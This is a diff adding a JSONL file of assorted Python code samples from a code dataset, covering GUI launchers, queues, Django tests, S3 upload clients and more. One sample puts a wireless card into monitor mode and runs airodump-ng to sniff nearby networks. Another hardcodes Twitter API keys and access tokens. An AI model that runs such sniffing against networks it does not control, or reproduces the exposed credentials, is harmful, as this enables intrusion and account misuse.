diff --git "a/3563.jsonl" "b/3563.jsonl" new file mode 100644--- /dev/null +++ "b/3563.jsonl" @@ -0,0 +1,623 @@ +{"seq_id":"211306428","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nimport os\r\n\r\nroot = Tk()\r\n\r\n\r\ndef run():\r\n os.system('py VibrantEggRing.py')\r\n\r\n\r\n\r\n\r\nicon=PhotoImage(file='VibrantEggRing-icon.png')\r\nlbl_image=Label(root, image=icon)\r\nlbl_image.grid(column=0, row=1)\r\n\r\nbutton=ttk.Button(text='Vibrant Egg Ring', command=run)\r\nbutton.grid(column=1, row=1)\r\n\r\n\r\nroot.mainloop()","sub_path":"FF14AlphaProject/level1DRKrings.py","file_name":"level1DRKrings.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"505641817","text":"from templates import TEMPLATES\nfrom w20e.forms.rendering.interfaces import IControlRenderer\nfrom zope.interface import implements\n\n\nFILE_TPL = \"\"\"\n\n\"\"\"\n\nEDIT_FILE_TPL = \"\"\"\n%(value)s
\n\n\n\"\"\"\n\n\nclass FileRenderer:\n\n implements(IControlRenderer)\n\n def render(self, renderer, form, renderable, out, **kwargs):\n\n \"\"\" render File to HTML \"\"\"\n\n tpl = FILE_TPL\n\n fmtmap = renderer.createFormatMap(form, renderable, **kwargs)\n\n fmtmap['value'] = renderable.lexVal(form.data[renderable.bind])\n\n if form.data[renderable.bind]:\n\n tpl = EDIT_FILE_TPL\n\n print >> out, TEMPLATES['CONTROL_HDR'] % fmtmap\n print >> out, tpl % fmtmap\n print >> out, TEMPLATES['CONTROL_FTR'] % fmtmap\n","sub_path":"w20e/forms/rendering/html/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"204391531","text":"import difflib\n\nimport requests\n\nfrom mozilla_buildtools.retry import retry\n\n\ndef compare_snippets(url1, url2, retries=3, timeout=10, diff=True):\n cfg = {'danger_mode': True}\n xml1 = retry(requests.get, sleeptime=5, attempts=retries, args=(url1,),\n retry_exceptions=(requests.HTTPError, requests.ConnectionError),\n kwargs={'timeout': timeout, 'config': cfg})\n xml1 = xml1.content.splitlines()\n xml2 = retry(requests.get, sleeptime=5, attempts=retries, args=(url2,),\n retry_exceptions=(requests.HTTPError, requests.ConnectionError),\n kwargs={'timeout': timeout, 'config': cfg})\n xml2 = xml2.content.splitlines()\n ret = [url1, xml1, url2, xml2]\n if xml1 != xml2:\n if diff:\n difflines = []\n for line in difflib.unified_diff(xml1, xml2, url1, url2, lineterm=\"\"):\n difflines.append(line)\n ret.append(difflines)\n else:\n ret.append(True)\n else:\n ret.append(False)\n return ret\n","sub_path":"auslib/util/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519437169","text":"class ListQueue:\n \"\"\"List based queue\n \"\"\"\n def __init__(self):\n self.items = []\n self.size = 0\n\n def enqueue(self, data):\n self.items.insert(0, data)\n self.size += 1\n\n def dequeue(self):\n data = self.items.pop()\n self.size -= 1\n return data\n\nclass StackQueue:\n \"\"\"Stack based queue\n \"\"\"\n pass\n\nclass ArrayQueue:\n \"\"\"Array based queue\n \"\"\"\n pass\n\nclass Node:\n \"\"\"A Doubly-linked lists node\n \"\"\"\n def __init__(self, data=None, next=None, prev=None):\n self.data = data\n self.next = next\n self.prev = prev\n\nclass NodeQueue:\n \"\"\"doubly linked list queue\n \"\"\"\n def __init__(self):\n self.head = None\n self.tail = None\n self.count = 0\n\n def enqueue(self, data):\n \"\"\"Append an item to the list\n \"\"\"\n new_node = Node(data, None, None)\n if self.head is None:\n self.head = new_node\n self.tail = self.head\n else:\n new_node.prev = self.tail\n self.tail.next = new_node\n self.tail = new_node\n self.count += 1\n\n def dequeue(self):\n \"\"\"Remove elements from the front of the list\n \"\"\"\n current = self.head\n if self.count == 1:\n self.count -= 1\n self.head = None\n self.tail = None\n elif self.count > 1:\n self.head = self.head.next\n self.head.prev = None\n self.count -= 1\n return current\n\n\nif __name__==\"__main__\":\n node_queue = NodeQueue()\n import time\n start_time = time.time()\n for i in range(100000):\n node_queue.enqueue(i)\n for i in range(100000):\n node_queue.dequeue()\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"queue/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"300163500","text":"# -*- coding: utf-8 -*-\nfrom odoo import fields, models, api, _\n\n\nclass PurchaseOrderInherit(models.TransientModel):\n _inherit = 'purchase.config.settings'\n\n def get_config(self):\n self.env.cr.execute(\n 'select auto_picking from purchase_config_settings order by id DESC limit 1')\n result = self.env.cr.fetchone()\n if not result or 'auto' in result:\n res = 'auto'\n else:\n res = 'non_auto'\n return res\n\n auto_picking = fields.Selection([('auto', _('Allow auto picking in')),\n ('non_auto', _('Not allow auto picking in'))], default=get_config,\n string='Auto Picking in')\n","sub_path":"ERP_IN/addons/bave_basic/models/purchase_config.py","file_name":"purchase_config.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"253415602","text":"comparisons = {\r\n '<': 'blt',\r\n '<=': 'ble',\r\n '>': 'bgt',\r\n '>=': 'bge',\r\n '==': 'beq',\r\n '!=': 'bne'\r\n}\r\n\r\nconditions = {\r\n '==': 'eq',\r\n '!=': 'ne',\r\n '>': 'gt',\r\n '<': 'lt',\r\n '>=': 'ge',\r\n '<=': 'le'\r\n} \r\n\r\ncontrary_conditions = {\r\n 'eq': 'ne',\r\n 'ne': 'eq',\r\n 'gt': 'le',\r\n 'le': 'gt',\r\n 'lt': 'ge',\r\n 'ge': 'lt'\r\n}\r\n\r\nif_options = {\r\n 'if_else': 'cmp $reg1, $reg2\\n$comp $t_true\\nb $t_false',\r\n 'only_if': 'cmp $reg1, $reg2\\n$comp $t_true'\r\n}\r\n\r\n# requires: reg1, reg2, comp, temp, contr, t_false\r\nif_complex = {\r\n 'if_false': 'cmp $reg1, $reg2\\nite $comp\\nstr$comp r0, [$temp]\\nb$contr $t_false\\n'\r\n}\r\n\r\nwhile_options = {\r\n 'while': 'cmp $reg1, $reg2\\n$comp $t_true'\r\n}\r\n\r\ndeclaration_options = {\r\n 'char': '\\n.balign 4\\n$name: .asciz \"$value\"',\r\n 'int': '\\n.balign 4\\n$name: .word $value',\r\n 'boolean': '\\n.balign 4\\n$name: .word $value'\r\n}\r\n\r\naddress_options = {\r\n 'char': 'address_of_$name: .word $name',\r\n 'int': 'address_of_$name: .word $name',\r\n 'boolean': 'address_of_$name: .word $name'\r\n}","sub_path":"templates/utils/asm_constants.py","file_name":"asm_constants.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"356196094","text":"from django.test import TestCase\nfrom web_server.models import Inventory\n\nclass InventoryTest(TestCase):\n\n\tdef create_inventory(candy, id=123, machine=456, item=789):\n\t\treturn Inventory.objects.create(id=id,machine=machine,item=item)\n\n\tdef test_inventory_creation(candy):\n\t\tc1 = candy.create_inventory()\n\t\tc2 = candy.create_inventory(id=321)\n\n\t\tcandy.assertEqual(123,c1.id)\n\t\tcandy.assertEqual(321,c2.id)\n\t\t\n\t\tcandy.assertEqual(456,c1.machine)\n\t\tcandy.assertEqual(456,c2.machine)\n","sub_path":"web_server/web_server/tests/test_model_inventory.py","file_name":"test_model_inventory.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"611125468","text":"import sys\nimport copy\nimport heapq\n\nsys.stdin = open('input.txt','r')\n\nM,N = map(int, sys.stdin.readline().rstrip().split())\n\nboard = [[i for i in sys.stdin.readline().rstrip()] for j in range(N)]\n\nroomCount = 0\nroomNumber = dict()\nfor i in range(N):\n for j in range(M):\n if board[i][j] == '1':\n roomCount +=1\n roomNumber[roomCount] = (i,j)\n\nmap = []\nfor i in range():\n newMap = []\n for j in range(roomCount):\n newMap.append(copy.deepcopy(board))\n map.append(newMap)\n\nprint(len(map[0]))\n\nvisit = [[[0 for i in range(M)] for j in range(N)] for k in range(roomCount+1)]\n\ndirection = [(-1,0),(1,0),(0,-1),(0,1)]\n\nstart = (0,0)\nend = (N-1,M-1)\n\ndef inRange(a,b):\n if (0<=a@twitterminingdata-twph5.mongodb.net/test?retryWrites=true\"\r\n)\r\ndb = client.input\r\ndb.input.remove({})\r\n\r\nconsumer_key = \"VBi8xSyHQyVTWQvsIvKhvuXs5\"\r\nconsumer_secret = \"klDMzRBOeDKCetaH7yWIlNRk7lN1MvZfXANXTpjvxkNHBvLMGH\"\r\naccess_token = \"1112897842312445952-GMVFJP6TnYxBM2PF9n2PMXXSebZ2xk\"\r\naccess_secret = \"JWaIfMVUzO82HzA68MhM6perPk3BmaaFS5r0tKlkLqHsP\"\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_secret)\r\napi = tweepy.API(auth)\r\n\r\n\r\nclass MyStreamListener(StreamListener):\r\n def on_connect(self):\r\n print(\"you are now connected\")\r\n def on_error(self, status_code):\r\n print(repr(status_code))\r\n def on_data(self, raw_data):\r\n\r\n try:\r\n global datajson\r\n datajson = json.loads(raw_data)\r\n db.input.insert(datajson)\r\n\r\n created_at = datajson['created_at']\r\n print(created_at)\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\n\r\n\r\nMyStreamListener = MyStreamListener()\r\nMyStream = tweepy.Stream(auth = api.auth, listener = MyStreamListener)\r\n\r\ninput = input(\"KeyWord: \")\r\nTracked = MyStream.filter(track=[input])\r\n\r\n\r\n\r\n","sub_path":"Twitter_Streaming.py","file_name":"Twitter_Streaming.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"55072885","text":"__author__ = 'tombnorwood'\n\nfrom django.db.models.signals import post_delete\n\nfrom .models import RentalReservationLineItem\n\n\ndef rentalreservationlineitem_predelete(sender, instance, **kwargs):\n instance.expected_checkout.delete()\n instance.expected_checkin.delete()\n\npost_delete.connect(rentalreservationlineitem_predelete, RentalReservationLineItem)\n","sub_path":"rentals/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"446605309","text":"from django.conf.urls import url, include\r\nfrom . import views\r\nfrom django.conf import settings\r\nfrom django.conf.urls.static import static\r\n\r\n\r\nurlpatterns = [\r\n\r\n\r\n\r\n #Page URLs\r\n url(r'^$', views.index, name='label_index'),\r\n url(r'^label$', views.label, name='label'),\r\n url(r'^results$', views.results, name='results'),\r\n url(r'^view_label$', views.view_label, name='view_label'),\r\n\r\n #GET/POST URLs\r\n\r\n #url(r'^purge$', 'webclient.views.purge'),\r\n url(r'^addImage$', 'webclient.views.addImage'),\r\n url(r'^cleanUpAndFixImages$', 'webclient.views.cleanUpAndFixImages'),\r\n url(r'^updateImage$', 'webclient.views.updateImage'),\r\n url(r'^getInfo$', 'webclient.views.getInfo'),\r\n url(r'^getNewImage$', 'webclient.views.getNewImage'),\r\n url(r'^convertAll$', 'webclient.views.convertAll'),\r\n url(r'^unlabeledImages$', 'webclient.views.unlabeledImages'),\r\n url(r'^numImageLabels$', 'webclient.views.numImageLabels'),\r\n url(r'^combineAllImages$', 'webclient.views.combineAllImages'),\r\n url(r'^calculateEntropyMap$', 'webclient.views.calculateEntropyMap'),\r\n url(r'^applyLabels$', 'webclient.views.applyLabels'),\r\n url(r'^loadLabels$', 'webclient.views.loadLabels'),\r\n url(r'^fix_label_location$', 'webclient.views.fix_label_location'),\r\n url(r'^print_label_data', 'webclient.views.print_label_data'),\r\n\r\n\r\n url(r'^get_overlayed_image/(?P[0-9]*)$', 'webclient.views.get_overlayed_image'),\r\n ]+ static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","sub_path":"webclient/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"483258127","text":"from matplotlib import pyplot\nfrom mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = [\n\t[1, 1, 17.25],\n\t[1, 5, 16.79],\n\t[3, 1, 17.11],\n\t[3, 5, 17.58],\n\t[32, 1, 17.11],\n\t[32, 5, 19.47],\n\t[32, 40, 23.45]\n]\n\nx = np.outer(np.linspace(-2, 2, 30), np.ones(30))\ny = x.copy().T # transpose\nz = np.cos(x ** 2 + y ** 2)\ndata = np.array(data)\nfig = plt.figure()\nax = plt.axes(projection='3d')\nprint(data.shape)\nz_data = np.tile(np.expand_dims(data[:, 2], axis=1), (1, data.shape[0]))\nz_data = np.diag(data[:, 2])\nax.plot_surface(data[:, 0], data[:, 1], z_data,cmap='viridis', edgecolor='none')\nplt.show()","sub_path":"plotting_functions.py","file_name":"plotting_functions.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"390891507","text":"import boto3\nfrom django.conf import settings\n\n\nclass S3UploadClient:\n bucket = settings.S3_BUCKET\n client = boto3.client('s3', aws_access_key_id=settings.S3_ACCESS_KEY_ID,\n aws_secret_access_key=settings.S3_SECRET_KEY_ID,\n region_name=settings.S3_REGION)\n domain = settings.S3_DOMAIN\n\n def __init__(self, user, file_name):\n self.user = user\n self.file_name = file_name\n\n if settings.DEBUG:\n self.environment = 'development'\n else:\n self.environment = 'production'\n\n def get_upload_path(self):\n raise Exception('Override this base method')\n\n def get_upload_url(self):\n return '{domain}/{bucket}/{upload_path}'.format(domain=self.domain,\n bucket=self.bucket,\n upload_path=self.get_upload_path())\n\n def upload_file_obj(self, file_obj):\n self.client.upload_fileobj(file_obj, self.bucket, self.get_upload_path(), ExtraArgs={\n 'ACL': 'public-read',\n 'ContentType': file_obj.content_type\n })\n\n def delete_object(self):\n self.client.delete_object(\n Bucket=self.bucket,\n Key=self.get_upload_path()\n )\n\n\nclass ImageUploadClient(S3UploadClient):\n def get_upload_path(self):\n return '{environment}/users/{user_id}/images/{file_name}'.format(environment=self.environment,\n user_id=self.user.pk,\n file_name=self.file_name)\n","sub_path":"accounts/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"14908762","text":"#! usr/python3\n\n# 1-7-2019:\n# I understand where I went wrong and fixed the .sub() methods for both cases\n\n# 12-25-2018:\n# I am currently faced with the following three issues:\n\n# 1. How to only deal with either one or both parameters existing since the function call would need both unless there is a \n# Python specific way to handle parameters not existing\n\n# 2. Also, I should modify the existing regex to make sure it only applys this to the beginning and end of the regex \n# by only using the ^ (carrot) and % (percent) regex symbols\n\n# 3. The second parameter is only using random symbols for starters but its ripping out the 'T' character in the test string for some reason\n\n# Regex Version of strip()\n\n# Write a function that takes a string and does the same thing as the strip() string method. \n\n# If no other arguments are passed other than the string to strip, then whitespace characters will be removed from the beginning and end of the string. \n\n# Otherwise, the characters specified in the second argument to the function will be removed from the string.Regex Version of strip()\n\nimport re\n\ndef askUserInput():\n userInput = str(input('Please enter the text you would like to parse: '))\n return userInput\n\ndef askCharactersToRemove():\n charactersToRemove = str(input(\"\\nPlease enter the characters you would like to remove (ex: 'x' to remove x characters): \"))\n return charactersToRemove\n\ndef stripRegexVersion(userInput, charactersToRemove):\n if charactersToRemove: \n # print('userInput = ' + str(userInput))\n # print('charactersToRemove = ' + str(charactersToRemove))\n characterRemovalRegex = re.compile(charactersToRemove) \n substitutedMo = characterRemovalRegex.sub('', userInput)\n # print('substitutedMo = ' + str(substitutedMo))\n print('\\n\\nParsed version: \\n\\n' + str(substitutedMo))\n else:\n # print('userInput = ' + str(userInput))\n # print('charactersToRemove = ' + str(charactersToRemove))\n characterStripRegex = re.compile(r''' \n \\s* \n ''', re.VERBOSE)\n removalMo = characterStripRegex.sub('', userInput)\n # print('removalMo = ' + str(removalMo))\n print('\\n\\nParsed Version: \\n\\n' + str(removalMo))\n\n# userInput = ' TESTING WHITESPACE '\n# charactersToRemove = 'TESTING'\n\nuserInput = askUserInput()\ncharactersToRemove = askCharactersToRemove()\n\n# stripRegexVersion(userInput, charactersToRemove=None)\nstripRegexVersion(userInput, charactersToRemove)\n","sub_path":"python/03AutomateTheBoringStuffWithPython/07PatternMatchingWithRegularExpressions/Chapter7RegexVersionOfStrip.py","file_name":"Chapter7RegexVersionOfStrip.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"262256235","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /users/payno/.local/share/virtualenvs/tomwer_venc/lib/python3.7/site-packages/tomwer/gui/test/test_reconsparamset_editor.py\n# Compiled at: 2019-12-11 09:05:53\n# Size of source mod 2**32: 3340 bytes\n__authors__ = [\n 'H. Payno']\n__license__ = 'MIT'\n__date__ = '14/11/2018'\nimport unittest, numpy\nfrom silx.gui import qt\nfrom silx.gui.utils.testutils import TestCaseQt\nfrom tomwer.gui.reconstruction.ftserie.reconsparamseditor import ReconsParamSetEditor\nfrom tomwer.test.utils import skip_gui_test\n\n@unittest.skipIf((skip_gui_test()), reason='skip gui test')\nclass TestReconsParamSet(TestCaseQt):\n __doc__ = '\\n Test the ReconsParamSetEditor.\\n Make sure we can iterate over the set of ReconsParams\\n '\n\n def setUp(self):\n super().setUp()\n self.widget = ReconsParamSetEditor(parent=None)\n\n def tearDown(self):\n self.widget.setAttribute(qt.Qt.WA_DeleteOnClose)\n self.widget.close()\n self.widget = None\n super().tearDown()\n\n def testSeveralPaganin(self):\n iMulti = self.widget._PaganinWidget._qcbpaganin.findText('multi')\n assert iMulti >= 0\n self.widget._PaganinWidget._qcbpaganin.setCurrentIndex(iMulti)\n self.widget._PaganinWidget._qleSigmaBeta.setText('1, 2, 3')\n self.widget._PaganinWidget._qleSigmaBeta.editingFinished.emit()\n self.widget._PaganinWidget._qleSigmaBeta2.setText('0:10:2')\n self.widget._PaganinWidget._qleSigmaBeta2.editingFinished.emit()\n qt.qApp.processEvents()\n reconsParamList = self.widget.getReconsParamSet()\n assert len(reconsParamList) is 15\n combinations = []\n for db in (1, 2, 3):\n num = 5\n for db2 in numpy.linspace(0, 10, num=5, endpoint=True):\n combinations.append((db, db2))\n\n for param in reconsParamList:\n c = (\n param['PAGANIN']['DB'], param['PAGANIN']['DB2'])\n assert c in combinations\n combinations.remove(c)\n\n\ndef suite():\n test_suite = unittest.TestSuite()\n for ui in (TestReconsParamSet,):\n test_suite.addTest(unittest.defaultTestLoader.loadTestsFromTestCase(ui))\n\n return test_suite\n\n\nif __name__ == '__main__':\n unittest.main(defaultTest='suite')","sub_path":"pycfiles/tomwer-0.4.0.linux-x86_64.tar/test_reconsparamset_editor.cpython-37.py","file_name":"test_reconsparamset_editor.cpython-37.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113056338","text":"# !/usr/bin/env python3\n\ndef getAllInterfaces():\n return os.listdir('/sys/class/net/')\n\nos.system(\"sudo 520652065206\")\nos.system(\"sudo airmon-ng\")\ninterface = getAllInterfaces()[3]\ninter = 'sudo ifconfig {0} down && iwconfig {0} mode monitor && ifconfig {0} up'.format(interface)\nos.system(inter)\ndump = 'sudo airodump-ng {0}'.format(interface)\n\"\\033[1mCtrl + C To Stop \\033[0m\"\ntime.sleep(3)\nos.system(dump)\nprint(\" \")\nbssid = data.__getitem__('mac')","sub_path":"api/api/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"4024604","text":"def clearall():\n #matlab's equivalent of clearing all variables\n #deletes itself from being called a second time\n #must be called before importing modules \n all = [var for var in globals() if (var[:2], var[-2:]) != (\"__\", \"__\")]\n for var in all:\n del globals()[var]\n all = [var for var in locals() if (var[:2], var[-2:]) != (\"__\", \"__\")]\n for var in all:\n del locals()[var]\nclearall()\n\n#This must be declared at the begining of the file.\n","sub_path":"clear_all_variables.py","file_name":"clear_all_variables.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"478667062","text":"\"\"\"\n座右铭:如果现在的生活不是你想要的,那就是你自找的.\n@project:7-30\n@author:Si_jin_hui\n@file:类和对象.PY\n@ide:PyCharm\n@time:2018-07-30 09:55:09\n\"\"\"\n# 类和对象的基本定义:\n# 类:具有相同属性或行为的事物统称为类.\n# 对象:从类中具体实例化出来的一个具体事物的存在.\n\n# 类和对象的关系:对象是类的实例,雷士对象的模板.\n# 区分类和对象:\n# 1.车(类),王振宇的二手奥拓(对象)\n# 2.狗(类),曹向阳的藏獒(对象)\n# 3.水果(类),于胜阳啃的那个榴莲(对象)\n\n# 面向对象编程中的类和对象:类在面向对象编程中,是一种抽象化的概念,类是不会占据内存空间的,类只是为了辅助创建对象而存在的.对象才是面向对象编程的核心,一般来说,所有函数的执行还有变量的调用都必须通过对象才能完成.对象在内存中是实际存在的,会消耗内存空间,对象也成为实例化对象.\n\n# 面向对象过程中类的作用:通常情况下,会在类中,指定一些属性和行为,当使用类实例化对线改的时候,那么该对象就用于类中指定的属性和行为.\n\n# 类是由每一个对象共同抽象化出来的概念.至于类中需要指定哪些属性和行为,是由对象决定的,因为具体操作这些属性和行为的就是对象.\n\n#面向对象编程的时候,首先考虑如何设计一个类,类中的属性和行为是由对象需要的属性和行为来决定的.\n\n# 假如想声明一个人类:\n# 人类需要的属性:姓名 年龄 性别(属性:变量)\n# 人类需要的行为:吃饭,睡觉,工作(行为:函数)\n\n#class:声明类的关键字\n#People:自定义的一个类名,遵循大驼峰命名法.\n#object:表示当前类People的父类,也称为基类或者根类,表示的一种继承关系.\nclass People(object):\n #__init__:对象的初始化函数,该函数就是用于指定对象属性的.\n #name/age/sex:叫做__init__函数的形参,等待着实参来传值.\n def __init__(self, name, age, sex):\n #self.name,self.age,self.sex:属性\n self.name = name\n self.age = age\n self.sex = sex\n #eat/sleep/work:(人的行为)\n def eat(self):\n print('吃饭')\n\n def sleep(self):\n print('睡觉')\n\n def work(self):\n print(\"工作\")\n\n#类已经声明完了,可以根据类来创建对象.\n#创建张三,这个对象\nzhangsan = People(\"张三\",'20','���')\n# zhangsan.age = 30\nprint(zhangsan.age, zhangsan.name, zhangsan.sex)\nzhangsan.eat()\nzhangsan.work()\nzhangsan.sleep()\n#创建lisi这个对象.\nlisi = People('李四','25','女')\nprint(lisi.name, lisi.age, lisi.sex)\nlisi.eat()\nlisi.sleep()\nlisi.work()\n","sub_path":"zhengke/7-30/类和对象.py","file_name":"类和对象.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"240649301","text":"n = int(input('Number of elements: '))\n\nsalesByCity = {}\n\nclass Sales:\n\n def __init__(self, city, product, price, quantity):\n\n self.city = city\n self.product = product\n self.profit = float(price) * float(quantity)\n\n# Reads a sale from the cmd and makes it an instance of Sales\ndef ReadSale():\n usrInp = input('Sale: ')\n saleArr = usrInp.split()\n sale = Sales(saleArr[0], saleArr[1], saleArr[2], saleArr[3])\n return sale\n\n# Adding the sales to a ditionary\nfor i in range(0, n):\n sale = ReadSale()\n if sale.city not in salesByCity:\n salesByCity[sale.city] = sale.profit\n else:\n salesByCity[sale.city] += sale.profit\n\n# Sorts the keys and values in salesByCity(since its a dict :/ ) and prints them\nfor key, value in sorted(salesByCity.items()):\n print(f'{key} -> {value}')\n","sub_path":"SoftUni Exercises/Sales Report.py","file_name":"Sales Report.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"165236246","text":"import torch\nimport numpy as np\n\nfrom models.model_speaker_base import SpeakerModelBase\nfrom models.model_speaker_hist_att import SpeakerModelHistAtt\n\nfrom utils.SpeakerDataset import SpeakerDataset\nfrom utils.Vocab import Vocab\n\nfrom evals import eval_beam_base, eval_beam_histatt\n\nfrom nlgeval import NLGEval\n\nimport os\n\nimport datetime\n\ndef mask_attn(actual_num_tokens, max_num_tokens, device):\n\n masks = []\n\n for n in range(len(actual_num_tokens)):\n\n # items to be masked are TRUE\n mask = [False] * actual_num_tokens[n] + [True] * (max_num_tokens - actual_num_tokens[n])\n\n masks.append(mask)\n\n masks = torch.tensor(masks).unsqueeze(2).to(device)\n\n return masks\n\n\nif __name__ == '__main__':\n\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n nlge = NLGEval(no_skipthoughts=True, no_glove=True)\n\n speaker_files = ['saved_models/model_speaker_hist_att_42_bert_2020-05-21-15-13-22.pkl',\n'saved_models/model_speaker_hist_att_1_bert_2020-05-22-16-40-11.pkl',\n'saved_models/model_speaker_hist_att_2_bert_2020-05-22-16-41-12.pkl',\n'saved_models/model_speaker_hist_att_3_bert_2020-05-22-16-42-13.pkl',\n'saved_models/model_speaker_hist_att_4_bert_2020-05-22-16-43-13.pkl']\n\n for speaker_file in speaker_files:\n\n seed = 28\n\n # for reproducibility\n print(seed)\n torch.manual_seed(seed)\n np.random.seed(seed)\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n print(speaker_file)\n\n checkpoint = torch.load(speaker_file, map_location=device)\n\n args = checkpoint['args']\n\n model_type = args.model_type\n\n print(\"Loading the vocab...\")\n vocab = Vocab(os.path.join(args.data_path, args.vocab_file))\n vocab.index2word[len(vocab)] = '' # special token placeholder for no prev utt\n vocab.word2index[''] = len(vocab) # len(vocab) updated (depends on w2i)\n\n testset = SpeakerDataset(\n data_dir=args.data_path,\n utterances_file='test_' + args.utterances_file,\n vectors_file=args.vectors_file,\n chain_file='test_' + args.chains_file,\n orig_ref_file='test_' + args.orig_ref_file,\n split='test',\n subset_size=args.subset_size\n )\n\n print('vocab len', len(vocab))\n print('test len', len(testset), 'longest sentence', testset.max_len)\n\n max_len = 30 # for beam search\n\n img_dim = 2048\n\n embedding_dim = args.embedding_dim\n hidden_dim = args.hidden_dim\n att_dim = args.attention_dim\n\n dropout_prob = args.dropout_prob\n beam_size = args.beam_size\n\n metric = args.metric\n\n shuffle = args.shuffle\n normalize = args.normalize\n breaking = args.breaking\n\n print_gen = args.print\n\n # depending on the selected model type, we will have a different architecture\n\n if model_type == 'base': # base speaker\n\n model = SpeakerModelBase(len(vocab), embedding_dim, hidden_dim, img_dim, dropout_prob).to(device)\n\n elif model_type == 'hist_att': # base speaker + vis context\n\n model = SpeakerModelHistAtt(len(vocab), embedding_dim, hidden_dim, img_dim, dropout_prob, att_dim).to(device)\n\n batch_size = 1\n\n load_params_test = {'batch_size': 1, 'shuffle': False,\n 'collate_fn': SpeakerDataset.get_collate_fn(device, vocab[''], vocab[''],\n vocab[''])}\n\n test_loader = torch.utils.data.DataLoader(testset, **load_params_test)\n\n model.load_state_dict(checkpoint['model_state_dict'])\n model = model.to(device)\n\n with torch.no_grad():\n model.eval()\n\n isValidation = False\n isTest = True\n print('\\nTest Eval')\n\n # THIS IS test EVAL_BEAM\n print('beam')\n\n # best_score and timestamp not so necessary here\n best_score = checkpoint['accuracy'] # cider or bert\n t = datetime.datetime.now()\n timestamp = str(t.date()) + '-' + str(t.hour) + '-' + str(t.minute) + '-' + str(t.second)\n\n if model_type == 'base':\n eval_beam_base(test_loader, model, args, best_score, print_gen, device,\n beam_size, max_len, vocab, nlge, isValidation, timestamp, isTest)\n\n elif model_type == 'hist_att':\n eval_beam_histatt(test_loader, model, args, best_score, print_gen, device,\n beam_size, max_len, vocab, mask_attn, nlge, isValidation, timestamp, isTest)\n","sub_path":"models/speaker/pretrained_speaker_TEST.py","file_name":"pretrained_speaker_TEST.py","file_ext":"py","file_size_in_byte":4737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"128858187","text":"import pandas\nimport numpy as np\n\nfrom skimage import img_as_float\nfrom skimage.io import imread, imsave\nfrom sklearn.cluster import KMeans\n\nimage = imread('parrots.jpg')\nimg = img_as_float(image)\nw, h, d = image.shape\n\nreshape = np.reshape(img, (w*h, d))\nX = pandas.DataFrame(reshape, columns=['R', 'G', 'B'])\n\ndef job(X, n):\n X = X.copy()\n kmeans = KMeans(init='k-means++', random_state=241, n_clusters=n)\n X['cluster'] = kmeans.fit_predict(X)\n\n means = X.groupby('cluster').mean().values\n mean_pixels = [means[c] for c in X['cluster'].values]\n mean_image = np.reshape(mean_pixels, (w, h, d))\n imsave('out/mean/parrots_' + str(n) + '.jpg', mean_image)\n\n medians = X.groupby('cluster').median().values\n median_pixels = [medians[c] for c in X['cluster'].values]\n median_image = np.reshape(median_pixels, (w, h, d))\n imsave('out/median/parrots_' + str(n) + '.jpg', median_image)\n return mean_image, median_image\n\ndef psnr(image1, image2):\n mse = np.mean((image1 - image2) ** 2)\n return 10 * 